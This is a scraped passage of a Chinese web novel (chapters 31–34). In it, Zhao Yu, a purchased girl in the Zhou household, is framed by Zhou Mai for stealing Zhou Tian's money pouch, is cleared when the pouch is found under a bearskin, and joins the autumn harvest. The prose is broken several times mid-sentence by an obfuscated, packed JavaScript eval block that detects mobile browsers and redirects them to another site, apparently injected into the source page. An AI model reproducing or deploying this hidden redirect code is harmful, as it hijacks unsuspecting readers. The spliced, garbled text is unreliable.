他看向周婆子,张嘴想要说些什么。 然而,周婆子没给他机会,见周麦到现在还在叫嚷着委屈,她一把甩开周田的手,怒骂道:“一张嘴皮子把黑的说成白的,什么一片好心?当我不知道你那心思?” “不说鸡蛋是人家赵榆带回来的野鸡蛋,就说那煮好了的蛋都已经到了你两个侄子的嘴边,你还心存嫉妒的想着抢下来往自个儿嘴里送,我怎就生了你这么个不要脸的玩意儿!” “饥荒年头,抢人碗里吃食,被打死的都有,莫说你事后还能哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然而,结果依旧是什么都没找到。 周婆子收了手,扫视一遍这间屋,又转头看向站在一旁的周麦,问道:“你可有动你大哥的钱?” 赵榆听着周婶这般问,心中一动。 这家屋已经被翻乱,但周婶瞧着好似不罢休的样子,难不成她是怀疑周麦? 周麦抬起手肘,用袖子擦了擦眼,哽咽不已,“娘,你把我屋子弄的这么乱,原来是怀疑我偷了大哥的钱?” 她瞧着是真的伤心,“我可是你的女儿,你为什么要将这种事往我头上扣,你到底把我当成什么?” 周田也不觉得是小妹拿了钱袋子,她若是要用钱,和家里人要便是,何必偷偷摸摸的拿呢。 周田:“娘,既然钱袋子不在这里,想必不是小妹拿的,我们再去别的地方找找看。” 周麦见周田相信她,心中一暖,像是找到了亲近的人,忍不住诉苦,“大哥,你辛苦在外头做活才带回来的钱,我怎么可能会拿?” “我们一家人在一起生活这么多年,哪一次丢了东西?” “凭什么这次钱袋子不见了,就要赖我?” 她狠狠瞪着赵榆,“是她!就是她偷拿的!” “家里就她一个外人,怎么刚好她一来就丢了钱袋子?你们要怀疑,最该怀疑的是她!” 31. 第三十一章 周田昨日才回来,相比较赵榆,他偏心的自然是自家妹妹。 尤其她说的这么恳切,周田本就不相信小妹会拿钱的心越发坚定了些。 赵榆没错过周田看过来的那一眼,她不动声色地皱了皱眉,很快又放松下来。 他是什么想法不重要,主要在于周婶。 周婆子没表示自己信还是不信,只道:“赵榆无需偷钱。” 如字面意思,赵榆用不着偷拿那些钱,因为她没有用出去的机会。 然而这句话就像是拨痛了周麦的哪根筋,她悲愤道:“娘,你是不是被她下了降头了,为何这么信她?!” 她指向赵榆,言词确切道:“她脸上带着伤,就是最好的证据,定然是她为了不留疤,然后偷了大哥的钱好去买药治伤!” 赵榆没想到周麦不仅一个劲儿将偷钱这事扣在她头上,还替她将理由都想到了。 抬手摸了摸脸上被指甲抓出的伤痕,周麦当时是用了狠劲的,即便她退后一步,还是被对方长指甲带到。 赵榆不明白,日日都得做活,周麦怎的还养护出那么长的指甲。 好在她当时避的及时,脸上虽看起来挺严重,但也只是破了皮,此刻已经没多少痛意,伤口的地方也隐隐结了层薄薄的痂。 见周婆子周田都看了过来,赵榆忙道:“周麦虽没收着力,但这伤痕也就看着可怖了些,等结了痂在脱落,然后长出新皮来,就没什么痕迹了。” 赵榆解释的同时,还不忘告了一把周麦的状。 她得抓住机会让周婶两人知道,虽然她推了周麦,可自己也被打了,且对方还下了狠手。 虽然昨日那事周婶没怪罪她,但为了防止对方心里有膈应,赵榆在合适的时候还是有必要提上一嘴。 周婆子看了一眼赵榆的脸,虽没多说什么,但赵榆知道自己的那番话还是有效果的。 否则周婶也不会在临出去时丢给周麦一把剪刀,要求她必须将手指头修一修,免得过几天秋收耽误干活。 无视周麦悲愤的哭声,周婆子转身出了堂屋。 周青方春梅两人刚刚一直在周麦屋外瞧着动静,见周婆子等人出来,忙跑到院子里等着。 他们自家人的卧房可都翻寻了一遍,现下也该轮到那赵榆了。 赵榆跟在周婆子身后出去,瞥眼见到周青两人眼中的幸灾乐祸,只觉得莫名其妙。 她的屋还没搜呢,他们怎么就确定那钱袋子一定是她拿的? 未免高兴的太早了些? 然而,当周婆子从她屋里摸出两个铜板后,她就不再这般想了。 看着静静躺在周婆子手掌心的两文钱,赵榆似乎听见了心里突然发出的咯噔一声。 赵榆下意识地搓了搓指腹,疑惑,她的屋里怎么还有两文钱? 之前清扫时,只有灰尘和猪粪,没见着一丝值钱的东西。 这两个铜板按理说,不该出现在她的屋子里才对。 身旁传来迫不及待的愤怒声,是周青的。 “娘,我早就说过咱家人不可能动自家的东西,唯有这个花钱买来的最有嫌疑,你看,这不就摸出了两文钱来!” 方春梅也站在周青身后出声,“可不是!若是听我的先来这屋,哪还用得着翻其他地方,真真是力气没处使!” 话一说完,就被周婆子狠狠一瞪,方春梅连忙缩回头,用周青的身体挡住对方的目光。 然周婆子可不愿放过她,才刚从她屋里翻出那么多吃食,这方氏倒是没脸没皮竟还敢开口说话。 周婆子冲她冷哼一声,“我这力可使的值,要不然还不知道自家竟还藏着那么大一耗子窝!” “若下次那耗子还敢偷吃家里的东西,我非捅了她得窝不可!” 这下不止方春梅不敢说话,连周青也闭上了嘴。 实在是这事太过丢脸,但凡还要点脸皮的人,都会想着避一避。 没了这两人拱火,赵榆缓了缓,不再心焦。 她主动解释这两文钱她并不知情,不知为何会出现在她睡的草席底下。 赵榆面上一片镇静,没有一丝被翻出铜钱的慌乱。 确实用不着忧心,又不是从她屋里找出了钱袋子。 不过是两文钱而已,能说明什么? 八十六文和两文可差的明显,难不成它能证明她就是偷东西的贼? 的确不能证明什么,周婆子心里清楚。 可就是清楚,她才忍不住疑惑。 各人的屋子都翻找过,始终不见那八十六文钱的影子。 这就奇怪了,那钱袋子还能长脚自己跑了不成! 周婆子舍不得那些钱,决心要将其找着。 出了赵榆的屋子,她转身又去了灶房柴房,待角角落落全都找了一遍,才不得不皱眉停了下来。 怎么就找不着呢? 当真是怪事! 她自语道:“全家里里外外还有哪处遗漏了?” 周婆子是在自问,无需周田他们回话。 周田等人也回答不了,每个地方都找过了,一时间他们也想不出什么。 倒是赵榆听了这话,眉眼一动,她好像知道一处地方…… 赵榆张了张嘴,有些犹豫该不该说。 但见周婶紧锁的眉头,赵榆还是试探着开了口。 周婆子一听,眉间蹙的更紧了,“你说大郎屋里?” 见赵榆点头,周婆子越发不解:“那间屋不是已经找过了?还用得着再来一次?” “不用再找一次,”赵榆连忙将话说得更清楚,“只需看看那张熊皮子底下有没有就可。” 赵榆之所以想到那张熊皮,实在是它给自己的印象太深。 那般骇人,所以当时见周婆子两人翻找了屋里所有地方唯独漏掉那张铺着皮子的床时,她也没觉得奇怪。 但这时想起来,才发觉那张床好似没人动过。 周婆子一愣,看向周田。 周田反应过来,不得不点头道:“老三的床我确实没找过。” 周婆子深吸口气,这可真是…… 她又想到三儿子那发狠的脾性,也不知该如何是好。 临了,连自家兄弟都顾忌着他的忌讳,下意识避开他的床,再继续这样下去,他们以后要如何自处? 周婆子视线一转,对上赵榆清亮透静的目光,眼中思绪闪现,转瞬即逝。 她转而看向周田,语气略显不满,“老三的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598526|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上是有毒虫还是有野兽?你跳过他的作甚?” 不等周田解释,周婆子已经率先一步朝屋内走去。 周田屋内的那张熊皮依旧呈趴伏状的铺在床上,似乎随时都能起势。 即便已经不是第一次见,赵榆心中仍有一瞬间的不平静。 不止赵榆,就连周婆子都心有起伏。 看着这黑沉沉的皮子,周婆子眼前又浮现出老三扛着熊瞎子回来的场景。 那般大的熊瞎子,他驮在背脊上,鲜血从他脖颈往下淌,染湿衣裤,顺着脚腕流进泥里,脚印都带着血,当时周婆子见了,差点魂都吓没了。 既担心他受伤,又忧心这么重的血腥味会不会激的他越发凶悍。 周婆子急得不行,却又不敢阻他,任他步子迈的又稳又重,仿佛千斤都压不垮。 回过神,周婆子伸手触到皮子上,手指陷在皮毛里,随即抓握住,将其掀开。 自从周禾走后,一直没被动过的床铺终于是被弄乱了。 熊皮太大,因着动作,它部分滑落到床下。 周婆子虽觉得这皮子怪唬人,但也舍不得弄脏了它。 这若是拿来换钱,一小块银子约莫是能有的。 她忙躬身,将掉落的熊皮抱将起来。 然,就是她这一抱,似乎有什么东西硌到了她的胳膊。 坚硬还带着铜板磕碰的脆响。 周婆子双眼一定,随即双手抓握住熊皮,开始抖弄起来。 啪! 一只破布衣裳缝合起来的钱袋子掉落下来。 周田不由睁大眼,这就是他不见的钱袋子,找了这么久,没成想竟真的就藏在他眼前。 随即,他目光落在被娘抱住的皮子,心下也不得不感叹,这偷藏钱袋的人是算准了他吧,知道他翻找时会下意识的避开老三的东西,所以才会胆大的将其藏在这里。 周婆子捡起钱袋子,打开看了看,又将它递给周田,让他数数里头的数量可对。 周田闻言,取出钱袋子里昨日他才串好的钱。 虽只有八十六文,但因是要还给王大柱,周田也细细的用麻绳将其串好。 只一眼,他就看出这绳子的系口有变动,不同于他惯常的系法。 显然这串钱被人打开过。 周田这般想着,没将这事说出来,只将绳子解开,一个一个的将铜板重新数清楚。 八十四文。 比他放进去的八十六文,少了两文。 两文…… 周田想到了刚刚从赵榆屋里寻到的那两文钱。 赵榆在知道这钱袋子里只剩八十四文时,也不免在心中哀叹一声。 怎就这么巧?! 之前的两文钱还没洗脱嫌疑,这次又因为她的提示找到了这只钱数不对的钱袋子…… 这怕不是更加让人怀疑,认为她是在“贼喊捉贼”。 周婆子显然也想到了放在自己身上的两文,她再次拿了出来,交给周田,“搁一起串上,一会儿还给大柱。” 赵榆见周婆子的动作,心有戚戚,这是认定了这两文是属于那八十六文中的? 她暗瞅了眼周婆子的神情,希望对方不要误会了她才好。 32. 第三十二章 “哟,加上这两文刚好是大哥丢的数,怎就这么巧呢?”轻飘飘的声音从周青身后传来,显然是方春梅又一次憋不住嘴。 赵榆听着这阴阳调,脑中正在不断思考着这件事的缺漏。 一她没进过周田的屋,更遑论偷钱了,二即便是她偷的,又为何独独拿出两文来藏进自己的屋里。 这种做法,倒像是她被人刻意陷害。 想到这里,赵榆心中有了准备,只要周婶向她责问,她便将这些怀疑全说出来。 不过,这次是赵榆多虑了。 周婆子根本没因这件事怀疑到她头上。 撇开两文钱的事先不谈,就凭她能提出翻找老三床铺这事,就足够洗清她的嫌疑。 自家人了解自家人,只有他们周家自己人才会想到偷了钱袋子然后藏进熊皮子里。 为防找到,只有藏在这里,他们才会下意识避开。 偷的人清楚他们不会动周禾的东西,他们也想不到对方会将钱袋子藏在周禾的床上。 这若不是赵榆的提醒,这钱指不定就这么稀里糊涂的丢了。 赵榆正忐忑地等着周婆子开口,就听见她吩咐周青去将周麦带过来。 赵榆心中微动,周婶知道她是无辜的? 这时候喊来周麦,莫不是陷害自己的人就是她?! 想到昨日因野鸡蛋发生的事,赵榆当真觉得周麦可能因为气不过,从而对她产生了坏心。 结果自是不必说,这钱袋子就是周麦趁着周田睡着后偷拿的,为了不被发现,她没将钱袋子带回她自己的屋子,而是直接藏进了周禾的床。 赵榆盯着面前被翻乱的熊皮子,像是在走神,实际上她竖着耳朵再听周麦那边的动静。 周青按周婆子的吩咐去将周麦带过来,但不知对方是心虚还是怎的,死活不愿意随着周青走。 大哭大喊的直呼他们都欺负她,若是看不惯她,何不将她嫁出去,好过留在家里碍他们的眼! 那边动静实在不中听,耽搁这么久始终不见人过来,周婆子已经等得不耐烦。 低声骂一句“糟心货”,随即憋着气去往周麦那头。 赵榆这次没有随他们进去,而是站在周麦卧房外头听着里面的斥问声。 一开始周麦始终不承认,哭嚎自己委屈,说周婆子等人冤枉她,最后也不知是不是被骂的狠了,她哭诉自己拿大哥的钱有什么错? 怪只怪周婆子舍不得给她钱! 她不过是想买一罐养肤膏,若是周婆子愿意给她钱,她何必这般惦记,也用不着打大哥钱袋子的主意! 至于那两文钱,按周麦的说法是,她厌恶极了赵榆,她想让周婆子再将赵榆转卖出去,但平白无故的,周家老两口肯定是不愿意,所以她才想着做些什么,让赵榆不得别人喜欢。 将两文钱放入赵榆床席底下,也是她临时想到的。 因为一文钱太少,担心赵榆会说是在路上捡的而糊弄过去,所以又多放了一文…… 事情原委就是这般。 赵榆听了,心中不断咂舌。 偷拿亲大哥辛苦做工的钱为自己买养肤膏,甚至还不忘掏两枚铜板来陷害她,只为将她赶出周家…… 若对方用整只钱袋子来栽赃,赵榆说不定真就落入辩无可辩的境地,谁知她竟舍不得将那八十六文全用在她身上,只愿出两文…… 正感叹周麦不够豁得出去,就见方春梅停在她面前,神色鄙夷地看着她道:“不说偷拿钱袋子这事儿,其实二丫做的也没错,周家又不缺人,何必让一个没什么用处的外人搁家里头住着,平白惹人不喜!” 周青见周婆子走远了,这才接道:“爹娘只是现下没看清,待他们不糊涂了,总会明白有些人留着只会糟蹋了家里的粮食。” 赵榆见这两人一唱一和,本想忍一忍的,但没忍住,“你们何必这么说自己,虽好吃懒做,但给人逗乐你们是一绝,比那戏台上的文丑还要技高一筹。” 赵榆这是再拿刚刚从他们两人屋中翻出吃食这事来说事,将他们比作唱戏的花脸,尽做丑事,令人发笑。 周青两人又不是傻子,自是听得明白,眉头一扬,面色发狠,就要对赵榆破口大骂。 赵榆可不想留在这挨骂,抬脚就要往外走,然而临走前,她看见方春梅手里拿着的东西,硬生生地止住了腿。 这不是她仅剩的那一个青梨么?怎的被她拿了? 赵榆面向一转,趁着方春梅不注意,迅速伸手将梨子从她手里夺了回来,还不忘喃喃自语气人,“梨子怎么在这?差点以为被偷了呢。” 见到赵榆来抢她手里的东西,方春梅就有防备,然而还是晚了一步,没躲开。 手里空荡荡的,让她忍不住咬牙,“还真以为是什么好东西?山里头不知有多少,真当我稀罕你这涩口梨子?!” 周青也大感丢脸,压着声道:“你想她吃的作甚?白白拉低了身份!” 他周青有什么身份? 赵榆莫名其妙地看了他一眼,就像周婶曾骂郑婆子的话,都是地里耙粮食的,谁又比谁高贵? 田地都一个色儿,黄泥巴裹腿上,大家伙儿都是泥腿子。 “昨日那野鸡肉你们吃得可香,啃出的骨头瞧着竟比村长父子两人的还要多出不少。” 赵榆淡淡补充一句,“那野鸡还是我带回来的。” 吃她的东西拉低身份?怎的吃鸡肉的时候不嫌弃? 不过是凭着一张嘴的假把式。 赵榆斜眼瞥向他们,将他们前一刻的鄙夷学得十成十。 赵榆也不想将他们得罪厉害了,但想到这两人刚刚一股脑地要将偷拿钱袋子的事扣在她身上,不比陷害她的周麦好多少。 退让又不会让两人有所改变,他们依旧想将她赶出周家。 如此,再继续忍气吞声似乎就没必要了。 顶着两人恨不得将她撕碎的目光,赵榆捧着梨子转身离开。 * 赵榆以为这件事就这么过去,对她的影响没有多坏却也见不得有多好。 没成想晚食那会儿,周婆子将饭菜准备好后,竟将她从院子里叫进了堂屋。 赵榆站在门口,看着特意空出来的位子既诧异又欣喜。 她竟然能被允许上桌和周家人一起进食? 周婆子将赵榆的碗筷摆在空出的位子上,示意她:“坐下吃,往后自己进来,别再让我去叫。” 这个意思是...... 赵榆心跳快了一瞬,反应过来,无视周青方春梅嫌恶的眼神,连忙点头应声。 赵榆拿起筷子,心头忍不住激动。 她以后吃饭可以坐在堂屋的长凳而不是院子的木墩上。 这种变化,让赵榆有种付出终有回报的惊喜。 大牛好动,吃饭也静不下心,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612769|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不时就要端起碗满堂屋晃荡。 但这次因赵榆在,他竟反常地不跑动了,乖巧地和赵榆坐在同一条凳上。 方春梅见不得两人要好的样子,嗤笑一声,“哟,今儿大牛倒是乖巧,和二丫在的时候怪不同的,不知道的还以为你们两个才是姑侄呢!” 大牛还小,哪里能听懂她暗指的意思。 唯有“姑侄”一词他能明白。 想到之前赵榆不让他称乎姑姑这事,大牛晃了晃脑袋道:“不是姑姑,是榆阿姐。” 方春梅可没那好心,提起周麦,看似在替她抱不平,实际上不过是在周婆子面前上眼药,暗指赵榆别有用心。 然而大牛这话一说,无需赵榆多做解释,她的这番“离间”似乎没了用处。 方春梅不乐意,尤其这次赵榆竟能上桌,且往后都会和自己同桌进食,心里就更加不痛快了。 她瞪着大牛,声音带着严厉,“姐姐长姐姐短的,她莫不是许了你什么好处,让你里外人都分不清!” 里外人指的是周家自己人和赵榆这个外来的。 啪! 碗磕在桌面上发出沉闷一声,迫使方春梅不得不闭上嘴。 大牛也被吓了一跳,本就拿得艰难的筷子差点掉在地上。 赵榆注意到了,忙悄悄地伸过手去,轻抚了抚他的背脊,以作安慰。 周婆子面色平肃,目光发沉,对着方春梅道:“你个搅家精!没完没了了,一桌饭菜竟是堵不上你的嘴!” “大牛才多大?你竟对着他耍心思,心肝儿是烂了不成?!” 周婆子还没消气,继续骂道:“我这张桌子就这般大,人多了我还嫌挤得慌,你既然这么能搅和,也别再上桌了,日后端着碗筷就自去房里头窝着,想怎么说便怎么说,就是扯着嗓门叫嚷,我都懒得管!” 不让她上桌? 方春梅心下千万个不愿意。 凭什么赵榆这个贱丫头上桌了,她就得给她让位! 压下心中对周婆子的怨怪,方春梅面上带着讨好,“娘,我只是随口说说又没别的心思,你怎的这么大的气性?” 她桌下的手不忘扯了扯周青的衣角,让他替自己说说好话。 周青既怪方春梅当着爹娘的面管不住嘴,又不满娘当着一家人的面这么不给他婆娘脸面,他蹙着眉头,言词不耐。 “娘,春梅没什么坏心思,不过是心直口快了些,你何必和她计较。” 说完,又对着方春梅道:“你不是说饿了么,不夹菜吃说那么多话作甚?” 周婆子看了眼四子,又瞥向夹了一筷子菜低头扒饭的方氏,移开目光,没再多说什么。 见周谷正在往碗里夹菜,她淡声道:“灶台上还温着蛋羹,让你媳妇儿喂给二牛吃了。” 周谷应了一声。 赵榆没错过周婶说这话时方春梅撇了撇嘴,似乎是心中很是不满,但约莫是周青阻了,才让她没再说出什么话来。 看着周谷端着饭食往卧房走,赵榆这才晓得大牛娘是不上桌的。 想到对方那病恹的脸色,下床对她可能都是一件难事。 余光瞥见大牛碗里没了菜,赵榆没有多想,随即夹了些放进他的碗里。 见大牛对她抬头一笑,赵榆也弯了弯嘴角。 她做的自然,倒是错过了周婆子短暂看过来的眼神,些许沉静,却转瞬又被遮掩下去。 33. 第三十三章 天色黑的彻底,原还能隐隐约约听见从大屋传来的说话声,现下已经一片安静。 赵榆躺在床上,眼睛半眯,将睡未睡。 她还要确认猴子这次会不会来,只好克制着自己不要睡过去。 也不知等了多久,在赵榆意识沉下去的前一刻,门栏外有了动静。 “哇。” 赵榆瞬间睁开眼,带着欣喜。 猴子来了! 赵榆坐起身,看着它矮胖的轮廓从屋外跳了进来,然后熟门熟路地要往她床上爬。 赵榆抵住它脑袋,指了指依旧摆在床边的木椅,“上那边去。” “哇哇!” 也不知道它是听不懂还是不愿意,赵榆抵挡了它好一会儿,才不得不下床将它给抱到椅子上。 离得近了,猴子身上那种污泥烂叶的味儿直扑鼻尖,赵榆深吐一口气,嫌弃道:“让你去干净的水里泡一泡,将你这身毛洗一洗,你是一点没听进去。” “身上这么难闻,也敢往我床上爬!” 等它在椅子上坐住了,赵榆这才想起从方春梅手里抢回来的梨子。 转身从床里侧将其摸出来,然后诱哄似的,拿在猴子眼前晃了晃,“瞧瞧,这是什么?” 猴子眼睛随着赵榆手来回转动。 赵榆虽因屋里头昏暗,看的不太清,但它脑袋跟着梨子转来转去,还是让她忍不住发笑。 不再逗它,赵榆将梨子凑到它眼前,“便宜你了,这梨我还没尝过是什么滋味。” 正经的梨子拿在手里半天,赵榆也不知道费了多大的劲才忍住没吃。 想着若是猴子再上门,她刚好拿这梨子和它培养感情。 都说吃人家的嘴软,赵榆心里盼着猴子在吃了她的东西后,能和她更加亲近。 至少,当她哪一天真的要躲进山里时,它能“照看”她几分。 虽然眼下她在周家看似情况越来越好,但准备后路这事不过是以防万一,身后有退路她总能安心不少。 赵榆看着眼前这只她在山里唯一的“人脉”,态度越发和善,甚至开口问道:“要不要给你削削皮?” ...... 赵榆重新躺会床上,听着猴子一下接着一下啃梨子的清脆声,只觉得馋意上涌。 她低声嘟喃,“吃个梨子这么大声,是要馋死谁?” 猴子耳朵灵敏,听见她说话,也跟着“哇哇”一声。 赵榆索性闭眼又闭嘴,试图将这动静摒除。 等来了猴子,心里没了惦记,睡意来的十分快。 赵榆闭眼没多久,耳边咀嚼果肉的声音甚至还未消退,她已经意识下沉。 半夜,睡得迷糊中,她隐约感到身上发沉,像是被什么东西压住了她腰腹,以及那熟悉的淤泥味儿似乎就在她鼻尖打转,些许难受。 但因太过困顿,她挣扎着始终无法醒来。 直到天亮,赵榆才略显疲惫地睁开眼。 动了动僵麻的腿脚,赵榆适时想起昨晚吐息不爽利的情况,这才反应过来是猴子趁着她睡着竟又跳上了床。 想到它那肥重的身体,赵榆真怕自己会被它压断气! * 周家闲了两天,终于在第三日清晨将一早为秋收准备好的镰刀全给拿了出来。 镰刀就两柄,赵榆自然是分不到。 所以她的活就是将周老汉等人割下的稻穗全摞在一起,然后往周家送。 收谷子是大事,全家老少能做活的都得上。 连躲在屋里头的周麦,都被周婆子强行给拉了出来。 用周婆子的话说,周家田地少,养不得懒汉,若周麦不干活,以后别想吃她周家一粒粮。 因此周家除了病弱的大牛娘以及丁点大的二牛,全都在吃了早食过后,向着周家水田那边去。 日日跑外头找村里孩子玩的大牛,今儿也被周婆子塞了一个垫着破烂衣裳的篮子,要求大牛跟在大人后头捡掉落在田里的谷粒。 辛苦半年养成的粮食,最好一粒都别落下。 周家算是村里收割稻谷最早的,有人见到他们提着镰刀,就忍不住惊讶道:“永耕叔,你们家这么早就割谷子了?” 周老汉点点头,只道:“谷子熟了,可以割回来了。” 年轻汉子还要再问,但周家老两口不想耽搁时间,步子迈得快,眨眼就已经走到前头。 汉子见他们离去,心里也急起来,他抬头望了望天,日头半升,是个晴好天。 他转身就往屋里头走,将周家准备秋收的事告诉给家里人。 周家在村头那边有几亩田,想着先把离家远的收割完,因此这浩荡拿镰刀的模样被不少人看在眼里。 村长家就不必说了,前几日上周家吃饭时,就知道周家的打算。 王家和周家情况差不多,因这次三柱和周禾都未能在家,能做活的青壮就少了一个。 为了每日负担轻些,王家也准备早些将谷子收回来。 黄灿灿的稻谷搁在田里,不仅鸟盯着,心思不正的人也会打着坏主意。 反正那些穗儿已经长熟了,早收早安心。 所以在周家出门还没多久,王家也跟着将院门关严实往自家田里去。 经过刘家时,刘三娘正在院里淘米,见到周家这老老少少的人,心思一起,忙问道:“周婶子,你们这是割谷子去?” 周婆子看人说话,对那些说过周家坏话的,她不太乐意搭理,但这刘家还行,从上至下都是老实人,而且前几日还给了赵榆几个梨子,因此她回话也耐心了些。 临走,她好心一句,让刘家也开始准备起来,趁着这些时日日头不错,该赶紧将谷子收回来晒干。 别等到一场雨下来,田里放干的水再起,不仅到时候不好收割,连稻穗都给淋湿了。 不像晴天,若是有谷粒脱落了,还可以捡起来,一旦田里有了水,田泥淤软,那些掉落的谷子再想捡起可就难了。 再者,雨水打湿稻谷,难晒不说,还容易发霉招虫。 刘三娘一听,哪还有心思再淘米,忙大喊着刘贵的名字,让他将家里的镰刀准备好,一会儿他们家也去将谷子收回来。 有见了周家焦急忙慌准备的,自然也有瞧不上的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639176|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就比如汪家。 陶氏站在门口看着周家人从门前经过,随即脸一侧,吐了口吐沫。 “年年趁着这时候显摆,看着村里人跟在他们后头开镰,心里指不定多得意!也不看看自个儿有几分能耐,是会看谷子熟烂,还是会断天气晴雨?一家子装模作样,忒惹人厌烦!” 陶氏男人是个怂脾气的,听着婆娘这不中听的话也没反驳,只试探道:“咱家真的不跟着?” 陶氏一怒,“你敢跟!蠢蛋才会学他周家!” “他家说的好听,什么趁着晴好天收割,不过是家里米粮不够吃了而已。没钱去米铺换粮,只能打田里长得好端端的谷子主意。” 她斜眼瞥向男人,“咱家不是周家可比的,余粮还多着呢,用不着去祸害地里的粮食。” 听着对面刘家的动静,陶氏撇嘴不屑,“你可别和刘贵家学,一家子蠢蛋,总有他们苦头吃。” 陶氏男人想说周家年年先开镰却没有哪一次不是好时候,但这话在喉头一转又给他咽了下去,顿了顿,最后问道:“那我们家什么时候开镰?” 陶氏挥了挥手,随意道:“谷子多养养又没坏处,我已经和李家说好了,半个月后再开镰。” 说完她转身往回走,“这事有什么好急的,周家晦气缠身,跟在他家后头,指不定要倒大霉。” * 种田有多累,赵榆虽心里知道,但从没体会过。 今日这一通忙活,她累的是腰杆子都立不直。 顶着大日头,衣裳湿透不说,这稻草触碰在皮肉上,竟让人痒的慌。 她坐在地上,喘着气,手脚都累到发软。 周婆子带了大半桶凉水来,就搁在田埂上。 赵榆想爬起来先去喝水解渴,但坐下后似乎再难起来,正后悔自己不该坐得离水这么远,就见大牛捧着一碗水朝自己走来。 看着他小心翼翼的模样,赵榆心下一阵感动。 正要开口让他慢一点,就见他在经过周麦身前时被叫住。 周麦不想自己去拿水喝,正巧大牛过来,想也不想就朝他要。 大牛不愿给,“这是给榆阿姐的,不是给小姑的。” 周麦现在听不得赵榆的名字,尤其见大牛对着个外人都比对自己亲,气息上涌,抬手就要去抢,“你个缺心玩意儿,我才是你小姑,把水给我!” 大牛大叫,“不给!不给!” 大牛人小力气小,哪能躲得过,碗很快被周麦把住。 水已经摇晃出去不少,周麦见这个死小子还不愿意放手,气得直接伸手推。 大牛摔了一个屁股墩,手也沾满了泥巴,他眼瞬间发红,瘪着嘴就要大哭起来。 周麦见了,心急,伸手就要往他脸上扇,想要吓住他,让他闭嘴不准哭。 然而没等她手碰倒大牛,她就被一股大力撞开,一个趔趄,摔趴在地上。 周麦吃痛,转头瞪向来人,“你敢推我?!” 赵榆将大牛扶起来,也回以瞪视,“你打大牛,我就敢推你。” 这也不是第一次推,赵榆熟练的很。 34. 第三十四章 这边的动静,让还在田里忙活的周婆子等人注意到。 隔着距离,就问这边发生了什么事。 赵榆没答,她就看着周麦如何说。 周麦自是不敢说实话,她几次被周婆子打骂,若是再被对方知道她弄哭了大牛,指不定又是一顿责怪。 狠狠瞪了一眼赵榆,从地上爬起来,冲着周婆子道:“无事,只是摔了一跤。” 等周婆子不再看向这边,周麦这才压着声音恶声道:“你不过是我娘从人牙子手里领回来的,这和我大哥的事还没个影呢,竟然真敢在我面前摆长嫂的谱,果真是个没脸没皮的!” 赵榆嘴一张,就想回一句,谁稀罕做你嫂子。 但念及周田时不时扛着稻穗过来,于是话头一转,道:“你若是成了谁的小姑子,那人准是上辈子造了大孽!” 说完不再理她,将大牛脸蛋擦了擦,问:“哪里摔疼了?” 大牛抽咽一声,扭了扭屁/股,表明是屁/股摔疼了。 赵榆给他揉了揉,这才扯了一把草给他擦干净手上的泥。 大牛还在噘嘴抽泣,不忘指责周麦道:“小姑最坏!” 赵榆心里也跟着认同,好吃懒做、撒谎成性,还用那些下三滥的手段陷害她,可不就是最坏么? 赵榆已经多次发现自己背的竹筐要重上不少,明明里头装的稻穗她是按照自己的力度来,适量不会过于沉重,免得来回不了几趟,就会因过于疲累而失了力。 然几次她将稻谷背回去,就发现竹筐重的不行,待她将稻穗倒出来,发现里头像是被人踩过一般,装的十分紧实,取出一层还有一层。 一次两次赵榆只当自己累晕了头,没注意就装的多了,直到她看见周麦悄摸摸地往她的竹筐里放稻穗,这才反应过来。 周麦为了躲懒,次次只往竹筐里装浅浅一层的稻穗,她看似背着筐子没个停歇,实际上来回的趟数少的可怜,大半时间都在路上墨迹,或是将谷子送回家时,趁着机会歇上一歇。 可她自己偷懒了,倒是想让赵榆多干。 随手塞几把稻穗进赵榆的竹筐里,她做得十分得心应手。 想到这里,赵榆觉得她的肩膀似乎又痛上几分。 冷冷斜了一眼周麦,赵榆认为这事不能就这么算了,她牵着大牛往周婆子那边去,将他被欺负的事给说了出来,顺带还提了一嘴周麦做活不尽心 为了不引起周婆子的不喜,赵榆这状告得委婉,奈尔周婆子清楚周麦是个什么性子,只听了一耳朵,就明白了过来。 于是周麦不仅被大骂一顿,接连几天更是被周婆子紧盯着,再没了躲懒的机会,赵榆得以轻松不少。 然而,不知是不是接连几天不得歇,赵榆精神不济,终于在一天顶着火辣的日头晕了过去。 不说她这一晕着实把周家人给吓住了,周老汉让周谷将人给背回去,他自己则赶去刘家寻刘贵。 